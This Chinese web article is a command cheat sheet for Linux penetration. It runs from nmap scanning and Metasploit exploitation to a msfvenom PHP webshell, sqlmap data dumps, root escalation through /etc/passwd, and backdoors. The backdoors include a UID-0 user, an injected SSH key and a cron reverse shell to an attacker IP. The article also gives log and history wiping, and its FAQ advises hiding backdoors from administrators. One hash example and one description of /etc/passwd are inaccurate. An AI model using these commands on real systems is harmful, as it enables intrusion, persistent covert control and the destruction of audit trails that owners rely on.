菜鸟科技网

Linux渗透必学命令有哪些?

Linux渗透测试中,命令行是核心工具,通过高效命令可实现信息收集、漏洞利用、权限提升、痕迹清理等目标,以下从渗透测试流程出发,详细梳理常用Linux渗透命令及使用场景。

Linux渗透必学命令有哪些?-图1
(图片来源网络,侵删)

信息收集阶段

信息收集是渗透测试的首要步骤,目标是获取目标系统的基本信息、开放服务、用户账号等关键数据。

主机发现与端口扫描

基础扫描:使用ping判断主机存活状态,结合nmap进行详细端口扫描。

ping -c 4 目标IP                  # 发送4个ICMP包检测主机存活
nmap -sS -p 1-65535 目标IP        # TCP SYN扫描全端口(隐蔽)
nmap -sV -sC -p 22,80,443 目标IP  # 常用端口扫描,并检测服务版本与默认脚本

参数说明-sS为半开放扫描,-sV识别服务版本,-sC运行默认脚本,-p指定端口范围。

服务与漏洞探测

通过netstatss查看本地网络连接,结合curlwget探测Web服务。

Linux渗透必学命令有哪些?-图2
(图片来源网络,侵删)
netstat -tulnp                     # 查看监听端口及进程(需root权限)
ss -tulnp                          # 替代netstat的现代化工具
curl -I http://目标IP               # 获取HTTP响应头,判断Web服务类型
nmap --script vuln 目标IP          # 使用nmap脚本扫描已知漏洞

用户与系统信息收集

uname -a                          # 查看内核版本与系统架构
cat /etc/issue                    # 查看系统发行版信息
cat /etc/passwd                   # 获取用户列表(仅显示可登录用户)
cat /etc/shadow                   # 查看用户密码哈希(需root权限)
ls -la /home/                     # 查看用户目录权限

漏洞利用与权限获取

在信息收集基础上,针对发现的漏洞利用工具获取初始权限。

渗透测试框架使用

Metasploit Framework是常用渗透平台,通过msfconsole启动:

msfconsole                          # 启动Metasploit
search ms08_067                    # 搜索漏洞模块(如MS08-067)
use exploit/windows/smb/ms08_067_netapi  # 选择模块
set RHOSTS 目标IP                   # 设置目标主机
set PAYLOAD windows/meterpreter/reverse_tcp # 设置载荷
exploit                            # 执行漏洞利用

Meterpreter后门是Metasploit的核心载荷,可远程控制目标系统:

sysinfo                           # 查看目标系统信息
getuid                            # 获取当前用户权限
ps                                # 查看进程列表
upload /本地文件 /目标路径         # 上传文件到目标
download /目标文件 /本地路径         # 下载目标文件到本地
shell                             # 获取目标系统交互式shell

Web漏洞利用

针对Web应用的漏洞,常用sqlmapBurp Suite等工具。
SQL注入检测与利用

Linux渗透必学命令有哪些?-图3
(图片来源网络,侵删)
sqlmap -u "http://目标IP/index.php?id=1" --dbs        # 枚举数据库
sqlmap -u "http://目标IP/index.php?id=1" -D 数据库名 --tables # 枚举表名
sqlmap -u "http://目标IP/index.php?id=1" -D 数据库名 -T 表名 --dump # 导出表数据

文件上传漏洞:使用wgetcurl上传Webshell,或利用msfvenom生成恶意载荷:

msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击IP LPORT=4444 -f raw > shell.php

通过Webshell上传工具将shell.php上传至目标服务器,再通过ncmsf监听连接。

密码破解与凭证获取

字典攻击:使用johnhashcat破解密码哈希。

john --wordlist=字典文件 password.txt  # 使用字典破解密码
hashcat -m 1000 password.txt 字典文件   # 使用hashcat(支持GPU加速)

凭证抓取:通过Mimikatz在Windows系统抓取明文密码,Linux下可使用gdb调试sshd进程获取密码。

权限提升

获取低权限用户后,需通过内核漏洞、SUID提权、服务配置错误等方式提升权限。

内核漏洞提权

使用Linux Exploit Suggester检查内核版本对应的已知漏洞:

wget https://github.com/mzet-/linux-exploit-suggester/releases/latest/download/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh       # 输出可能存在的内核漏洞

根据漏洞结果,利用gcc编译漏洞利用代码并执行:

gcc 46215.c -o exp                 # 编译漏洞利用程序
./exp                              # 执行提权

SUID/GUID提权

查找具有SUID权限的可执行文件,利用/etc/passwdfind命令:

find / -perm -u=s -type f 2>/dev/null  # 查找SUID文件
ls -la /usr/bin/passwd               # 检查passwd是否具有SUID权限(可修改密码)

利用/etc/passwd生成用户

openssl passwd -1 -salt "test" "123456"  # 生成密码哈希
echo "test:$1$test$XJ8iS9zQjKq9sE8J8H8K.:0:0::/root:/bin/bash" >> /etc/passwd

新用户test可直接登录root权限。

服务配置错误提权

检查sudo配置文件,查看当前用户是否有sudo权限:

sudo -l                            # 查看sudo权限

若允许以root身份执行特定命令(如findvim),可利用命令提权:

sudo find / -exec /bin/sh \;       # 通过find命令获取root shell

维持访问与痕迹清理

后门植入

为长期控制目标系统,需植入隐蔽后门:
用户后门:创建具有UID为0的用户(root权限):

useradd -u 0 -o -g root testuser   # 创建root用户
passwd testuser                    # 设置密码

SSH密钥后门:将公钥写入/root/.ssh/authorized_keys,实现免密登录:

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... 攻击用户@攻击主机" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

定时任务后门:通过cron植入反弹shell:

echo "*/5 * * * * /bin/bash -i >& /dev/tcp/攻击IP/4444 0>&1" >> /var/spool/cron/root

痕迹清理

删除日志文件、命令历史记录,避免被检测:

history -c                         # 清空当前会话命令历史
echo > ~/.bash_history              # 清空用户历史记录
cat /dev/null > /var/log/auth.log  # 清空认证日志
cat /dev/null > /var/log/wtmp      # 清空登录记录

Linux渗透命令速查表

功能分类 命令示例 说明
主机存活检测 ping -c 4 目标IP 发送ICMP包检测主机是否在线
端口扫描 nmap -sS -p 1-65535 目标IP TCP SYN扫描全端口,隐蔽性强
服务版本探测 nmap -sV -p 22,80 目标IP 检测端口对应服务的版本信息
系统信息收集 uname -a cat /etc/issue 查看内核版本、系统发行版
用户列表查看 cat /etc/passwd 获取系统所有用户(仅显示可登录用户)
进程与端口查看 netstat -tulnp ss -tulnp 查看监听端口及关联进程
Web服务探测 curl -I http://目标IP 获取HTTP响应头,判断Web类型
漏洞扫描 nmap --script vuln 目标IP 使用nmap脚本扫描已知漏洞
Metasploit启动 msfconsole 启动Metasploit渗透框架
SQL注入检测 sqlmap -u "URL" --dbs 枚举目标数据库
密码哈希破解 john --wordlist=字典文件 password.txt 使用John the Ripper破解密码哈希
内核漏洞提权 ./linux-exploit-suggester.sh 检查系统内核是否存在已知漏洞
SUID文件查找 find / -perm -u=s -type f 2>/dev/null 查找具有SUID权限的可执行文件
sudo权限查看 sudo -l 查看当前用户的sudo执行权限
SSH后门植入 echo "公钥" >> /root/.ssh/authorized_keys 将公钥写入目标主机,实现免密登录
日志清空 cat /dev/null > /var/log/auth.log 清空系统认证日志

相关问答FAQs

Q1:Linux渗透测试中,如何判断目标系统是否存在内核漏洞?
A1:可通过以下步骤判断:

  1. 使用uname -a获取目标系统的内核版本信息;
  2. 将内核版本与已知漏洞库(如Exploit-DB)对比,或使用自动化工具Linux Exploit Suggester(如./linux-exploit-suggester.sh)扫描;
  3. 若发现匹配的漏洞,下载对应的利用代码,编译后执行,测试是否可提权,需注意,漏洞利用可能导致系统不稳定,建议在测试环境中先验证。

Q2:在Linux渗透测试中,如何实现持久化访问?
A2:持久化访问可通过以下方式实现:

  1. 用户后门:创建具有root权限的隐藏用户(如useradd -u 0 testuser),并设置复杂密码;
  2. SSH密钥后门:将攻击者的公钥写入目标主机的/root/.ssh/authorized_keys,实现免密SSH登录;
  3. 定时任务后门:利用cron设置定时任务,定期执行反弹shell(如*/5 * * * * /bin/bash -i >& /dev/tcp/攻击IP/4444);
  4. 服务后门:修改或替换合法服务(如SSH、Telnet),植入恶意代码,或通过inetd/xinetd配置隐藏服务,需注意,后门应隐蔽放置,避免被管理员发现。
分享:
扫描分享到社交APP
上一篇
下一篇